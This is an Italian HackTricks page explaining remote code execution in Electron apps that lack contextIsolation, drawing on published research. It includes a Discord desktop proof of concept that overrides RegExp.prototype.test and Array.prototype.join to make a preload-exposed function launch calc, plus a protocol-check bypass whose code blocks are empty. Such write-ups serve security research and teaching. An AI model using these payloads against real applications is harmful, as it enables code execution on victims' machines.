# RCE Electron contextIsolation tramite codice di caricamento
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Esempio 1
Esempio da [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
Questo codice apre i link http(s) con il browser predefinito:
![](<../../../.gitbook/assets/image (768).png>)
Qualcosa come `file:///C:/Windows/systemd32/calc.exe` potrebbe essere utilizzato per eseguire una calcolatrice, il `SAFE_PROTOCOLS.indexOf` lo sta impedendo.
Pertanto, un attaccante potrebbe iniettare questo codice JS tramite XSS o navigazione arbitraria della pagina:
```html
```
Poiché la chiamata a `SAFE_PROTOCOLS.indexOf` restituirà sempre 1337, l'attaccante può aggirare la protezione ed eseguire il calcolatore. Exploit finale:
```html
CLICK
```
Controlla le diapositive originali per altri modi per eseguire programmi senza che venga richiesta un'autorizzazione.
Apparentemente un altro modo per caricare ed eseguire codice è accedere a qualcosa del tipo `file://127.0.0.1/electron/rce.jar`
## Esempio 2: RCE dell'app Discord
Esempio da [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
Nel verificare gli script di caricamento anticipato, ho scoperto che Discord espone la funzione, che consente di chiamare alcuni moduli consentiti tramite `DiscordNative.nativeModules.requireModule('NOME-MODULO')`, nella pagina web.\
Qui, non ho potuto utilizzare moduli che possono essere utilizzati direttamente per RCE, come il modulo _child\_process_, ma **ho trovato un codice in cui è possibile ottenere RCE sovrascrivendo i metodi incorporati di JavaScript** e interferendo con l'esecuzione del modulo esposto.
Di seguito è riportata la PoC. Sono riuscito a confermare che l'applicazione **calc** viene **aperta** quando **chiamo la funzione `getGPUDriverVersions`** che è definita nel modulo chiamato "_discord\_utils_" da devTools, mentre **sovrascrivo il `RegExp.prototype.test` e `Array.prototype.join`**.
```javascript
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
```
La funzione `getGPUDriverVersions` cerca di eseguire il programma utilizzando la libreria "_execa_", come segue:
```javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
```
Di solito _execa_ cerca di eseguire "_nvidia-smi.exe_", che è specificato nella variabile `nvidiaSmiPath`, tuttavia, a causa dell'override di `RegExp.prototype.test` e `Array.prototype.join`, **l'argomento viene sostituito con "**_**calc**_**" nel processo interno di \_execa**\_**.
Nello specifico, l'argomento viene sostituito modificando le seguenti due parti.
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).